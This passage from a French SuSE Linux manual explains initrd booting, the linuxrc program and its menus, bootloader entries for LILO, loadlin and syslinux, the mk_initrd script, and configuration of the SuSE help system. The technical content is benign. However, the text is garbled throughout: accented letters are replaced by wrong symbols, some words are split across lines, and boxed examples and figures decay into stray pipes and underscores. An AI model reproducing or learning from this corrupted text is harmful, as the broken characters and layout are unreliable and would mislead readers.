  27292. Si initrd ne peut pas Ωtre dΘmontΘ (ce que l'on considΦre en gΘnΘral comme
  27293. Θtant le rΘsultat d'une erreur), le noyau tente de remonter initrd sur le rΘper-
  27294. toire /initrd. Si le point de montage /initrd n'est pas non plus prΘsent,
  27295. il  apparaεt  un  message  d'erreur.  Le  systΦme  est  dans  un  tel  cas  pleinement
  27296. fonctionnel mais l'espace mΘmoire occupΘ par initrd ne peut pas Ωtre libΘrΘ
  27297. et n'est donc plus disponible.
  27298.  
  27299.  
  27300. linuxrc
  27301.  
  27302. Pour le programme linuxrc  dans initrd il n'existe que les obligations sui-
  27303. vantes  :  Il  doit  porter  explicitement  le  nom  de  linuxrc       et  doit  se  trouver
  27304. dans  le  rΘpertoire  racine  d'initrd.  Outre  cela,  il  ne  doit  Ωtre  exΘcutΘ  que
  27305. par  le  noyau.  Cela  signifie  que  linuxrc  peut  parfaitement  Ωtre  liΘ  dynami-
  27306. quement.  Dans  ce  cas,  les  ``bibliothΦques  partagΘes''  doivent  bien  s√r  Ωtre
  27307. comme  d'habitude  complΦtement  disponibles  sous  /lib  dans  initrd.  Le
  27308. programme  linuxrc    peut  aussi  Ωtre  un  script  shell.  Dans  ce  cas  il  doit  bien
  27309. entendu exister un +   shell dans /bin. En rΘsumΘ, initrd doit contenir un
  27310. systΦme Linux minimal permettant l'exΘcution du programme linuxrc . Lors
  27311. de l'installation de SuSE     Linux, on utilise un linuxrc liΘ statiquement afin de
  27312. pouvoir maintenir initrd aussi petit que possible (la place sur les disquettes
  27313. d'amorτage est trΦs juste). linuxrc est exΘcutΘ avec les droits de `root'.
  27314.  
  27315.  
  27316. Le vΘritable systΦme de fichiers racine
  27317.  
  27318. DΦs  que  linuxrc  est  terminΘ,  initrd  est  dΘmontΘ  et  rejetΘ.  Le  processus
  27319. d'amorτage suit normalement son cours et le noyau monte le vΘritable sys-
  27320. tΦme  de  fichiers  racine.  Ce  qui  doit  Ωtre  montΘ  comme  systΦme  de  fichiers
  27321. racine peut Ωtre dΘterminΘ par linuxrc . Il suffit pour cela que linuxrc monte le
  27322. systΦme de fichiers /proc et Θcrive la valeur du vΘritable systΦme de fichiers
  27323. racine sous forme numΘrique dans /proc/sys/kernel/real-root-dev.
  27324.  
  27325.  
  27326. 16.2.3       Gestionnaires d'amorτage
  27327.  
  27328. La plupart des gestionnaires d'amorτage (particuliΦrement LILO , loadlin  et
  27329. syslinux )  peuvent  utiliser  initrd.  Voici  comment  on  fait  savoir  aux  diffΘ-
  27330. rents gestionnaires d'amorτage qu'ils doivent utiliser initrd :
  27331.  
  27332. 1. LILO
  27333.        EntrΘe de la ligne suivante dans /etc/lilo.conf :
  27334.       Le fichier /boot/initdisk.gz est le disque virtuel initial. Il peut (mais
  27335.       ne doit pas obligatoirement) Ωtre compressΘ.
  27336.  
  27337. 2. loadlin.exe
  27338.        Appel au moyen de :
  27339.  C:>  loadlin  <kernelimage>  initrd=C:\loadlin\initdisk.gz  <paramΦtre>
  27340.  
  27341.  
  27342.                                                                                                                                    *
  27343.  *   425
  27344. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  27345.  *_______________________________________@
  27346.  
  27347.                            ________________________________________________________________________________________________________*
  27348.  *________
  27349.                            |                                                                                                       *
  27350.  *         |
  27351.                            ||   initrd=/boot/initdisk.gz                                                                           *
  27352.  *         ||
  27353.                            |                                                                                                       *
  27354.  *         |
  27355.                            |_______________________________________________________________________________________________________*
  27356.  *________ |
  27357.  
  27358.  
  27359.  
  27360.                            3. syslinux
  27361.                                   EntrΘe de la ligne suivante dans syslinux.cfg :
  27362.  
  27363.                            ________________________________________________________________________________________________________*
  27364.  *________
  27365.                            |                                                                                                       *
  27366.  *         |
  27367.                            |    append  initrd=initdisk.gz  <paramΦtres  supplΘmentaires>                                          *
  27368.  *         |
  27369.                            |                                                                                                       *
  27370.  *         |
  27371.                            |                                                                                                       *
  27372.  *         |
  27373.                            |_______________________________________________________________________________________________________*
  27374.  *________ |
  27375.  
  27376.  
  27377.  
  27378.                            16.2.4       Utilisation d'initrd       avec SuSE
  27379.  
  27380.  
  27381.                            Installation du systΦme
  27382.  
  27383.                            initrd est dΘjα mis en oeuvre depuis longtemps pour l'installation : L'utili-
  27384.                            sateur peut charger des modules sous linuxrc et faire les entrΘes nΘcessaires α
  27385.                            l'installation, comme (tout particuliΦrement) le support source. linuxrc lance
  27386.                            alors YaST qui effectue l'installation. Lorsque YaST a fait son travail, il com-
  27387.                            munique α linuxrc l'emplacement du systΦme de fichiers racine nouvellement
  27388.                            installΘ. linuxrc  Θcrit cette valeur dans /proc et termine son exΘcution. Le
  27389.                            noyau continue d'amorcer dans le nouveau systΦme.
  27390.  
  27391.                            Lors de l'installation de SuSE     Linux, on amorce donc ainsi pratiquement dΦs
  27392.                            le dΘbut le systΦme que l'on installe ~ c'est plut⌠t chic ;-) Un vΘritable rΘ-
  27393.                            amorτage aprΦs l'installation n'a lieu que si le noyau n'est pas en harmonie
  27394.                            avec les modules qui ont ΘtΘ installΘs dans le systΦme. Comme SuSE      Linux
  27395.                            utilise actuellement, pendant l'installation, un noyau pour systΦmes monopro-
  27396.                            cesseurs, ceci ne se produit que s'il a ΘtΘ installΘ dans le systΦme un noyau
  27397.                            SMP avec les modules correspondants. Pour qu'il soit possible d'utiliser tous
  27398.                            les modules, le noyau SMP nouvellement installΘ dans le systΦme doit Ωtre
  27399.                            rΘamorcΘ.
  27400.  
  27401.  
  27402.                            Amorτage du systΦme installΘ
  27403.  
  27404.                            Autrefois, YaST  proposait pour l'installation plus de 40 noyaux qui se diffΘ-
  27405.                            renciaient les uns des autres par le fait que chacun contenait un pilote SCSI
  27406.                            particulier. Cela Θtait nΘcessaire pour pouvoir monter le systΦme de fichiers
  27407.                            racine aprΦs l'amorτage. D'autres pilotes pouvaient Ωtre chargΘs ensuite sous
  27408.                            forme de modules.
  27409.  
  27410.                            Comme  α  prΘsent  des  noyaux  optimisΘs  sont  aussi  disponibles,  ce  concept
  27411.                            n'est  plus  acceptable  ~  plus  de  100  images  de  noyaux  seraient  maintenant
  27412.                            nΘcessaires.
  27413.  
  27414.                            On utilise donc aussi initrd pour dΘmarrer normalement le systΦme. La pro-
  27415.                            cΘdure  est  analogue  α  celle  d'une  installation.  Ici  cependant,  linuxrc  n'est
  27416.                            qu'un script shell qui a pour seule tΓche de charger quelques modules dΘter-
  27417.                            minΘs. En gΘnΘral, il ne s'agit que d'un seul module qui est le pilote SCSI
  27418.                            nΘcessaire pour pouvoir accΘder au systΦme de fichiers racine.
  27419.  
  27420.  
  27421.  
  27422. 426
  27423.        ____________________________________________________________16.2.__Amorτage_avec_le_``disque_virtuel_initial''______________*
  27424.  *______________________
  27425.  
  27426.  
  27427.  
  27428. CrΘation d'un initrd
  27429. La crΘation d'un initrd se fait au moyen du script mk_initrd        . Les modules
  27430.  
  27431. α charger sont dΘterminΘs sous SuSE     Linux  par la variable INITRD_MODULES
  27432. dans /etc/rc.config. AprΦs l'installation il est automatiquement attribuΘ
  27433. α cette variable des valeurs exactes (le linuxrc  utilisΘ pour l'installation sait
  27434. en effet quels modules ont ΘtΘ chargΘs). Il convient de prΘciser que les mo-
  27435. dules sont chargΘs exactement dans l'ordre dans lequel il apparaissent dans la
  27436. variable INITRD_MODULES             . Ceci est tout particuliΦrement important lorsque
  27437. plusieurs pilotes SCSI sont utilisΘs car autrement la dΘnomination des disques
  27438. serait modifiΘe. Il suffirait en fait de faire charger uniquement le pilote SCSI
  27439. requis pour l'accΦs au systΦme de fichiers racine. Comme le chargement auto-
  27440. matique de pilotes SCSI supplΘmentaires est cependant problΘmatique (com-
  27441. ment  pourrait-on  ``combiner''  une  chose  pareille  alors  que  des  disques  sont
  27442. reliΘs au second adaptateur SCSI), tous les pilotes SCSI nΘcessitΘs au cours
  27443. de l'installation seront chargΘs au moyen d'initrd.
  27444.  
  27445. Le script mk_initrd         vΘrifie si un pilote SCSI est nΘcessaire pour l'accΦs au
  27446. systΦme de fichiers racine. Si l'on invoque mk_initrd          sur un systΦme dans
  27447. lequel / est situΘ sur des disques EIDE, il ne crΘera pas d'initrd, celui-ci
  27448. n'Θtant pas nΘcessaire du fait que le noyau utilisΘ par SuSE      Linux contient
  27449. dΘjα les pilotes EIDE. Comme de plus en plus de contr⌠leurs EIDE spΘciaux
  27450. font actuellement leur apparition sur le marchΘ, il est α prΘvoir qu'il faudra
  27451. α l'avenir utiliser aussi dans ces cas un initrd pour l'amorτage du systΦme
  27452. installΘ.
  27453.  
  27454. Important : Comme le chargement d'initrd par le gestionnaire d'amorτage
  27455. se dΘroule exactement de la mΩme maniΦre que le chargement du noyau lui-
  27456. mΩme (LILO  inscrit dans son fichier map la position des fichiers), il est in-
  27457. dispensable de rΘinstaller LILO aprΦs toute modification apportΘe α initrd !
  27458. AprΦs  une  commande  mk_initrd        ,  une  commande  lilo     est  donc  toujours
  27459. nΘcessaire !
  27460.  
  27461.  
  27462.  
  27463. 16.2.5       DifficultΘs Θventuelles ~ Noyau compilΘ par l'utilisateur
  27464.  
  27465. Si vous compilez vous-mΩme un noyau, vous pouvez vous trouver confrontΘ
  27466. α certains problΦmes qui apparaissent assez frΘquemment : Pour des raisons
  27467. d'habitude,  le  pilote  SCSI  est  insΘrΘ  en  permanence  dans  le  noyau  mais
  27468. initrd  demeure  inchangΘ.  Lors  de  l'amorτage,  il  se  passe  ce  qui  suit  :  le
  27469. noyau contient dΘjα le pilote SCSI, le matΘriel est reconnu mais initrd es-
  27470. saie malgrΘ tout de charger encore une fois le pilote sous forme de module.
  27471. Avec certains pilotes (particuliΦrement aic7xxx       ), cela provoque un blocage
  27472. du systΦme. Il s'agit α proprement parler d'une erreur du noyau (un pilote dΘjα
  27473. prΘsent ne doit pas Ωtre chargΘ une deuxiΦme fois sous forme de module) ~ ce
  27474. problΦme est cependant dΘjα connu dans un autre contexte (pilotes sΘrie).
  27475.  
  27476. Il existe plusieurs solutions α ce problΦme : Il est possible, soit de configu-
  27477. rer le pilote comme module (il est alors chargΘ correctement dans initrd),
  27478. soit de supprimer de /etc/lilo.conf l'entrΘe pour initrd. Une solution
  27479. Θquivalente consiste α supprimer le pilote de la variable INITRD_MODULES              et
  27480. α invoquer mk_initrd         qui constatera alors qu'initrd n'est pas nΘcessaire.
  27481.  
  27482.  
  27483.  
  27484.                                                                                                                                    *
  27485.  *   427
  27486. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  27487.  *_______________________________________@
  27488.  
  27489.  
  27490.  
  27491.                            16.2.6       Perspectives
  27492.                            Il est pensable qu'α l'avenir initrd soit utilisΘ pour tout un tas de choses d'un
  27493.  
  27494.                            niveau plus ΘlevΘ que le chargement des modules nΘcessaires α l'accΦs α /.
  27495.  
  27496.                              ~   Pilotes EIDE ``haut de gamme''
  27497.  
  27498.                              ~   SystΦme de fichiers racine sur RAID logiciel (linuxrc fait le nΘcessaire la
  27499.                                  mise en fonction des pΘriphΘriques md)
  27500.  
  27501.                              ~   SystΦme de fichiers racine sur LVM
  27502.  
  27503.                              ~   SystΦme de fichiers racine encodΘ (linuxrc demande le mot de passe)
  27504.  
  27505.                              ~   SystΦme  de  fichiers  racine  sur  un  disque  SCSI  connectΘ  α  l'adaptateur
  27506.                                  PCMCIA
  27507.  
  27508.  
  27509.                            Informations complΘmentaires
  27510.  
  27511.                            /usr/src/linux/Documentation/ramdisk.txt
  27512.                            /usr/src/linux/Documentation/initrd.txt
  27513.                            page de man de initrd       (man  4  initrd         ).
  27514. 428
  27515.        ________________________________________________________________________________________________________________16.3.__linux*
  27516.  *rc____________________
  27517.  
  27518.  
  27519.  
  27520. 16.3        linuxrc
  27521.  
  27522. linuxrc  est  un  programme  lancΘ  pendant  la  phase  de  dΘmarrage  du  noyau
  27523. avant que l'amorτage proprement dit ne se fasse1 . Cette propriΘtΘ apprΘciable
  27524. que possΦde le noyau permet d'amorcer un petit noyau modulaire et de char-
  27525. ger  ultΘrieurement,  sous  forme  de  modules,  les  quelques  pilotes  peu  nom-
  27526. breux dont on a vraiment besoin ~ en cas de nΘcessitΘ absolue, mΩme α partir
  27527. d'une deuxiΦme disquette (modules) .
  27528.  
  27529. Lors du chargement des pilotes qui gΦrent votre matΘriel, linuxrc vous apporte
  27530. son aide. Vous pouvez l'utiliser non seulement pour l'installation mais aussi
  27531. comme  outil  d'amorτage  de  votre  systΦme  dΘjα  installΘ  (comme  une  sorte
  27532. de disquette de secours). Vous pouvez mΩme lancer un systΦme de secours
  27533. indΘpendant basΘ sur un disque RAM, dans le cas par exemple o∙ votre disque
  27534. dur  serait  gravement  endommagΘ  ou  tout  simplement  si  vous  avez  oubliΘ
  27535. votre mot de passe `root'. Vous trouverez plus de dΘtails au paragraphe 16.5
  27536. page 438.
  27537.  
  27538.  
  27539. Menu principal
  27540.  
  27541. Lorsque  la  langue,  l'Θcran  et  le  clavier  ont  ΘtΘ  configurΘs,  vous  arrivez  au
  27542. menu principal de linuxrc (voir figure 2.3 page 30).
  27543.  
  27544. Le but α atteindre est l'option du menu `DΘmarrer  l'installation  /  le
  27545. systΦme'. Il dΘpend du matΘriel de votre machine que vous puissiez vous
  27546. diriger directement vers celui-ci :
  27547.  
  27548. Si tous les composants nΘcessitΘs pour une installation ont dΘjα ΘtΘ reconnus
  27549. par le noyau, vous n'aurez pas besoin de charger d'autres pilotes. C'est le cas
  27550. pour les machines qui disposent uniquement de disques durs et de lecteurs de
  27551. CD-ROM connectΘs α un adaptateur (E)IDE.
  27552.  
  27553. Si  le  systΦme  possΦde  un  adaptateur  SCSI  nΘcessitΘ  pour  l'installation  2   il
  27554. faudra  charger  un  module  SCSI.  Il  en  sera  de  mΩme  si  l'installation  doit
  27555. se  faire  par  le  rΘseau  :  Dans  ce  cas,  il  faudra  d'abord  charger  un  module
  27556. appropriΘ pour la carte rΘseau α utiliser.
  27557.  
  27558. Enfin, il existe encore toute une gamme d'anciens lecteurs de CD-ROM qui
  27559. ont  ΘtΘ  livrΘs  avec  leur  propre  carte  contr⌠leur  et  qui  requiΦrent  de  ce  fait
  27560. leurs propres modules du noyau. Vous devrez Θgalement charger des modules
  27561. si vous utilisez un laptop ΘquipΘ de phΘriphΘriques PCMCIA.
  27562.  
  27563.  
  27564. Informations sur le systΦme
  27565.  
  27566. Si vous ne savez pas avec certitude quel matΘriel possΦde votre machine, les
  27567. messages du noyau affichΘs pendant l'amorτage peuvent vous aider.
  27568.  
  27569. Sous `Informations  sur  le  systΦme' (figure 16.1 page suivante) vous
  27570. pouvez, en plus des messages du noyau, vΘrifier encore d'autres choses telles
  27571. que les adresses d'E/S des cartes PCI ou la quantitΘ de mΘmoire centrale qui
  27572. a ΘtΘ reconnue par Linux.
  27573. 1      ____________________________________________________
  27574.   Bien entendu, le noyau doit Ωtre configurΘ de faτon adΘquate.
  27575. 2  Un adaptateur sur lequel n'est branchΘ qu'un seul scanner pourra, a priori, ne pas entrer en
  27576. ligne de compte.
  27577.  
  27578.  
  27579.                                                                                                                                    *
  27580.  *   429
  27581. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  27582.  *_______________________________________@
  27583.  
  27584.                                                        Fig. 16.1: Informations sur le systΦme
  27585.  
  27586.  
  27587.  
  27588.                            Les lignes suivantes montrent comment se manifestent un disque dur et un
  27589.                            lecteur de CD-ROM connectΘs α un adaptateur EIDE. Dans ce cas vous n'avez
  27590.                            pas α charger de modules du noyau pour une installation :
  27591.  
  27592.                            hda:  ST32140A,  2015MB  w/128kB  Cache,  LBA,  CHS=1023/64/63
  27593.                            hdb:  CD-ROM  CDR-S1G,  ATAPI  CDROM  drive
  27594.                            Partition  check:
  27595.                              hda:  hda1  hda2  hda3  <  hda5  >
  27596.  
  27597.                            Si vous avez dΘmarrΘ un noyau dans lequel un pilote SCSI est dΘjα insΘrΘ en
  27598.                            permanence, vous n'aurez bien s√r pas besoin non plus de charger de module
  27599.                            SCSI. Message typique lorsqu'un adaptateur SCSI et les pΘriphΘriques qui y
  27600.                            sont connectΘs sont reconnus :
  27601.  
  27602.                            scsi  :  1  host.
  27603.                            Started  kswapd  v  1.4.2.2
  27604.                            scsi0  :  target  0  accepting  period  100ns  offset  8  10.00MHz  FAST  SCSI-II
  27605.                            scsi0  :  setting  target  0  to  period  100ns  offset  8  10.00MHz  FAST  SCSI-II
  27606.                               Vendor:  QUANTUM     Model:  VP32210                 Rev:  81H8
  27607.                               Type:     Direct-Access                                  ANSI  SCSI  revision:  02
  27608.                            Detected  scsi  disk  sda  at  scsi0,  channel  0,  id  0,  lun  0
  27609.                            scsi0  :  target  2  accepting  period  236ns  offset  8  4.23MHz  synchronous  SCSI
  27610.                            scsi0  :  setting  target  2  to  period  248ns  offset  8  4.03MHz  synchronous  SCSI
  27611.                               Vendor:  TOSHIBA     Model:  CD-ROM  XM-3401TA   Rev:  0283
  27612.                               Type:     CD-ROM                                             ANSI  SCSI  revision:  02
  27613.                            scsi  :  detected  1  SCSI  disk  total.
  27614.                            SCSI  device  sda:  hdwr  sector=  512  bytes.  Sectors=  4308352  [2103  MB]  [2.1  GB]
  27615.                            Partition  check:
  27616.                              sda:  sda1  sda2  sda3  sda4  <  sda5  sda6  sda7  sda8  >
  27617.  
  27618.                            Chargement de modules
  27619.  
  27620.                            Vous  choisissez  le  type  de  modules  dont  vous  avez  besoin.  Si  vous  avez
  27621.                            amorcΘ  α  partir  d'une  disquette,  les  donnΘes  nΘcessaires  seront  lues  par
  27622.                            linuxrc     et elles vous seront prΘsentΘes afin que vous fassiez votre choix.
  27623.  
  27624.                            Si vous avez amorcΘ α partir du CD ou si vous avez redΘmarrΘ α partir de DOS
  27625.                            α l'aide de loadlin , tous les modules sont dΘjα α la disposition de linuxrc . Ceci
  27626.  
  27627.  
  27628. 430
  27629.        ________________________________________________________________________________________________________________16.3.__linux*
  27630.  *rc____________________
  27631.  
  27632.  
  27633.  
  27634. vous Θpargne un chargement qui prend du temps mais vous oblige en revanche
  27635. α prΘvoir une plus grande quantitΘ de mΘmoire. Si votre machine a moins de
  27636. 8 Mo de RAM, il vous faudra amorcer α partir d'une disquette.
  27637.  
  27638.                                Fig. 16.2: Chargement de modules
  27639.  
  27640.  
  27641. linuxrc vous propose une liste des pilotes disponibles. └ gauche, vous voyez
  27642. le nom du module concernΘ et α droite, une brΦve description du matΘriel gΘrΘ
  27643. par ce pilote.
  27644.  
  27645. Pour certains composants, il existe plusieurs pilotes ou des pilotes expΘrimen-
  27646. taux plus rΘcents. Ceux-ci vous sont Θgalement proposΘs.
  27647.  
  27648.                                 Fig. 16.3: Choix des pilotes SCSI
  27649.  
  27650.  
  27651.  
  27652. EntrΘe des paramΦtres
  27653.  
  27654. Si vous avez trouvΘ_le_pilote qui gΦre votre matΘriel, positionnez le curseur
  27655. et appuyez sur | _____|-. Il apparaεt un masque dans lequel vous pouvez entrer
  27656.  
  27657.  
  27658.                                                                                                                                    *
  27659.  *   431
  27660. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  27661.  *_______________________________________@
  27662.  
  27663.  
  27664.  
  27665.                            d'Θventuels paramΦtres pour le module α charger.  Pour plus d'informations
  27666.                            sur les diffΘrents paramΦtres des modules, reportez-vous au paragraphe 14.3.4
  27667.                            page 383.
  27668.  
  27669.                                     Fig. 16.4: EntrΘe des paramΦtres pour le chargement de modules
  27670.  
  27671.  
  27672.                            Nous tenons α prΘciser encore une fois ici que, contrairement aux paramΦtres
  27673.                            entrΘs α l'invite du noyau (LILO  ou SYSLINUX), plusieurs paramΦtres pour
  27674.                            un mΩme module doivent Ωtre sΘparΘs par des espaces.
  27675.  
  27676.                            Dans de nombreux cas, une spΘcification exacte du matΘriel n'est pas du tout
  27677.                            indispensable ; la plupart des pilotes dΘtectent d'eux-mΩmes les composants
  27678.                            qu'ils gΦrent. Ce n'est que pour les cartes rΘseaux et pour d'anciens modΦles
  27679.                            de lecteurs de CD-ROM avec leur propre carte contr⌠leur qu'il est trΦs sou-
  27680.                            vent  nΘcessaire  de  spΘcifier__des  paramΦtres.  Faites  d'abord  un  essai  en  ap-
  27681.                            puyant tout simplement sur |_____-|.
  27682.  
  27683.                            Avec certains modules, la reconnaissance et l'initialisation_du_matΘriel_peut
  27684.                            durer assez longtemps. En passant α la console 4 (|A____l|t+ |F___|4), vous pourrez
  27685.                            observer les messages du noyau pendant le chargement. Avec les adaptateurs
  27686.                            SCSI tout particuliΦrement, le chargement dure un certain temps car ils at-
  27687.                            tendent que tous les pΘriphΘriques connectΘs se soient manifestΘs.
  27688.  
  27689.                            Si le module a ΘtΘ chargΘ avec succΦs, les messages du noyau seront affichΘs
  27690.                            par  linuxrc  et  vous  pourrez  ainsi  vous  assurer  que  tout  s'est  passΘ  comme
  27691.                            prΘvu. Si ce n'est pas le cas, les messages pourront probablement vous per-
  27692.                            mettre de dΘcouvrir la cause de l'Θchec.
  27693.  
  27694.  
  27695.                            DΘmarrer le systΦme / l'installation
  27696.  
  27697.                            Si  vous  Ωtes  parvenu  α  obtenir  pour  votre  matΘriel  un  support  complet  du
  27698.                            noyau, vous pouvez passer α l'option `DΘmarrer  le  systΦme  /  l'ins-
  27699.                            tallation'
  27700.  
  27701.                            └ partir de lα (figure 16.5 page ci-contre), il est possible de mettre en route
  27702.                            plusieurs procΘdures : `DΘmarrer  l'installation' (c'est aussi par cette
  27703.                            option que la mise α jour est dΘmarrΘe), `Amorcer  un  systΦme  installΘ'
  27704.  
  27705.  
  27706. 432
  27707.        ________________________________________________________________________________________________________________16.3.__linux*
  27708.  *rc____________________
  27709.  
  27710.                                    Fig. 16.5: Objectif de linuxrc
  27711. (la  partition  racine  doit  Ωtre  connue),  `DΘmarrer  le  systΦme  de  se-
  27712. cours' (voir paragraphe 16.5 page 438)et `DΘmarrer  le  CD  live'3 .
  27713.        _______________________________________________________________________________________________________________________||
  27714.        ||||||||  L'option `DΘmarrer  le  CD  live' peut toujours rendre de prΘcieux ser-                        |||            |
  27715.        ||||||||                                                                                                 ||             |
  27716.        ||||||||  vices si vous souhaitez par exemple vΘrifier, sans avoir α faire une instal-                   ||             |
  27717.        ||||||||                                                                                                 ||             |
  27718.        ||||||||  lation sur le disque dur, si la machine ou le notebook que vous avez l'in-                     ||             |
  27719.        ||||||||  tention  d'acheter  est  compatible  avec  SuSE     Linux  ~  un  test  de  ce  genre          ||             |
  27720.        ||||||||                                                                                                 ||             |
  27721.        ||||||||  devrait Ωtre possible dans pratiquement tous les magasins qui vendent des                      ||             |
  27722.        ||||||||  PC !                                                                                           ||             |
  27723.        ||||||||_______________________________________________________________________________________________________________||_
  27724.  
  27725.  
  27726.  
  27727.               Fig. 16.6: SΘlection du support d'installation dans linuxrc
  27728.  
  27729. 3      ____________________________________________________
  27730.    Ce CD live (``systΦme de fichiers live'') est disponible pour les architectures x86 (voir para-
  27731. graphe 3.6.4 page 108.
  27732.  
  27733.  
  27734.                                                                                                                                    *
  27735.  *   433
  27736. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  27737.  *_______________________________________@
  27738.  
  27739.  
  27740.  
  27741.                            Vous pouvez choisir diffΘrentes sources pour l'installation ainsi que pour le
  27742.                            systΦme de secours (voir figure 16.6 page prΘcΘdente).
  27743. 434
  27744.        ___________________________________________________________________16.4.__Le_systΦme_d'aide_pour_SuSE______Linux____________*
  27745.  *______________________
  27746.  
  27747.  
  27748.  
  27749. 16.4        Le systΦme d'aide pour SuSE        Linux
  27750. Le  systΦme  d'aide  est  orientΘ  composants  et  peut  Ωtre  utilisΘ  au  moyen  de
  27751.  
  27752. n'importe  quel  navigateur  Web  (sous  l'interface  graphique  voir  plus  haut
  27753. figure  1.1  page  8  ou  sur  la  console  texte  voir  ici  figure  16.7)  ~  mΩme  au
  27754. niveau rΘseau si vous le souhaitez.
  27755.  
  27756. L'ΘlΘment  central  du  systΦme  se  trouve  dans  le  paquetage  susehilf,  sΘrie
  27757. doc (Documentation). Selon l'importance de l'installation ou la fonctionna-
  27758. litΘ  que  vous  dΘsirez,  vous  devrez  encore  installer  les  paquetages  suivants
  27759. (pour la procΘdure d'installation voir paragraphe 3.4.3 page 95). Les paque-
  27760. tages essentiels seront installΘs automatiquement si vous effectuez une instal-
  27761. lation standard α partir de YaST  ~ donc pas de panique dans le cas o∙ tout
  27762. ceci vous|semblerait|un peu confus pour le moment ;-)                                                                          |
  27763.  
  27764.        _______________________________________________________________________________________________________________________||||
  27765.        ||||||||                                                                                                                |
  27766.        ||||||||                                                                                                                |
  27767.        ||||||||                                                                                                                |
  27768.        ||||||||                                                                                                                |
  27769.        ||||||||                                                                                                                |
  27770.        ||||||||                                                                                                                |
  27771.        ||||||||                                                                                                                |
  27772.        ||||||||                                                                                                                |
  27773.        ||||||||                                                                                                                |
  27774.        ||||||||                                                                                                                |
  27775.        ||||||||                                                                                                                |
  27776.        ||||||||                                                                                                                |
  27777.        ||||||||                                                                                                                |
  27778.        ||||||||                                                                                                                |
  27779.        ||||||||                                                                                                                |
  27780.        ||||||||                                                                                                                |
  27781.        ||||||||                                                                                                                |
  27782.        ||||||||                                                                                                                |
  27783.        ||||||||                                                                                                                |
  27784.        ||||||||                                                                                                                |
  27785.        ||||||||                                                                                                                |
  27786.        ||||||||                                                                                                                |
  27787.        ||||||||                                                                                                                |
  27788.        ||||||||                                                                                                                |
  27789.        ||||||||_______________________________________________________________________________________________________________ |
  27790.  
  27791.  
  27792.                 Fig. 16.7: Page de dΘmarrage du systΦme d'aide (lynx)
  27793.  
  27794.  
  27795.  
  27796. paquetage apache, sΘrie n :                 Apache, le serveur WWW local.
  27797.  
  27798. paquetage sdb, sΘrie doc :                Le paquetage de base avec fonctionnalitΘ de re-
  27799.       cherche pour la SDB.
  27800.  
  27801. paquetage sdb_de, sΘrie doc :                   Les  textes  de  la  base  de  donnΘes  support
  27802.       (SDB), en allemand.
  27803.  
  27804. paquetage susepak, sΘrie doc :                    Pour le cas o∙ vous souhaiteriez Θtudier les
  27805.       descriptions de paquetages en toute tranquillitΘ : : :
  27806.  
  27807. paquetage howtodeh, sΘrie doc :                     Les documents Howto, en allemand.
  27808.  
  27809. paquetage howtoenh, sΘrie doc :                     Les  documents  Howto,  version  anglaise
  27810.       (en gΘnΘral il sont plus actuels que les traductions).
  27811.  
  27812. paquetage ldp, sΘrie doc :                Livres, FAQ, etc. du Linux Documentation Pro-
  27813.       ject  (LDP) en HTML.
  27814.  
  27815. paquetage rman, sΘrie ap :                Contient http-rman .
  27816.  
  27817.  
  27818.                                                                                                                                    *
  27819.  *   435
  27820. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  27821.  *_______________________________________@
  27822.  
  27823.  
  27824.  
  27825.                            paquetage inf2htm, sΘrie doc :                    Permet de lire les documents Texinfo (voir
  27826.                                  paragraphe 1.4.3 page 9) avec le navigateur WWW. Les documents sont
  27827.                                  convertis ``on-the-fly''.
  27828.  
  27829.                            paquetage dochost, sΘrie n :                  Une  machinerie  pour  un  serveur  central  de
  27830.                                  documents  dans  le  rΘseau.  Nous  vous  conseillons  de  vous  familiariser
  27831.                                  avec /usr/doc/packages/dochost/README.SuSE !
  27832.  
  27833.                            paquetage htdig, sΘrie n :                Pour la crΘation d'un index de recherche de tous
  27834.                                  les documents WWW installΘs sur la machine (ou dans le rΘseau local).
  27835.                                  Votre machine devient un petit moteur de recherche WWW.
  27836.  
  27837.                            paquetage  dochost  et  paquetage  htdig  ne  sont  pas  absolument  indispen-
  27838.                            sables mais cependant trΦs utiles pour obtenir une pleine fonctionnalitΘ.
  27839.  
  27840.  
  27841.                            16.4.1       Configuration pour systΦme monoposte ou systΦme serveur
  27842.  
  27843.                            Pour  un  systΦme  monoposte,  positionnez  dans  /etc/rc.config  les  va-
  27844.                            riables  prΘsentΘes  dans  le  fichier  16.4.1  (de  prΘfΘrence  avec  YaST    ainsi
  27845.                            qu'il  est  dΘcrit  au  paragraphe  3.6.12  page  114  et  particuliΦrement  au
  27846.                            page  458  ).  Ceci  implicite  bien  s√r  que  votre  systΦme  se  nomme  so-
  27847.                            leil.cosmos.univers.  Si  ce  n'est  pas  le  cas,  vous  devrez  utiliser  les
  27848.                            noms que vous avez assignΘs.
  27849.  
  27850.                            ________________________________________________________________________________________________________*
  27851.  *________
  27852.                            |START_INETD="yes"                                                                                      *
  27853.  *         |
  27854.                            |START_HTTPD="yes"                                                                                      *
  27855.  *         |
  27856.                            |DOC_SERVER="yes"                                                                                       *
  27857.  *         |
  27858.                            |DOC_HOST="soleil.cosmos.univers"                                                                       *
  27859.  *         |
  27860.                            |                                                                                                       *
  27861.  *         |
  27862.                            |DOC_ALLOW="LOCAL__.cosmos.univers"_____________________________________________________________________*
  27863.  *________ |
  27864.  
  27865.                            fichier  16.4.1:  /etc/rc.config              pour  systΦme  monoposte  ou  systΦme  ser-
  27866.                            veur
  27867.  
  27868.  
  27869.                            inetd  (angl.  inet  daemon)  devrait  absolument  Ωtre  lancΘ.  Ce  dΘmon  est  nΘ-
  27870.                            cessaire, entre autre, pour accΘder aux +  pages de man via http-rman . Mais
  27871.                            http-rman  ne peut bien s√r fonctionner que si ce service n'est pas dΘsactivΘ
  27872.                            dans /etc/hosts.deny
  27873.  
  27874.                            Veillez α ce que le serveur HTTP (apache ) soit lancΘ lors de l'amorτage. Vous
  27875.                            devez pour cela positionner START_HTTPD           α yes   .
  27876.  
  27877.                            DOC_SERVER          dΘtermine si les documents doivent Ωtre mis α disposition α par-
  27878.                            tir de cette machine. Cette variable doit Θgalement Ωtre positionnΘe α yes    si
  27879.                            vous  souhaitez  ~  par  exemple  dans  le  cas  d'un  systΦme  monoposte  ~  avoir
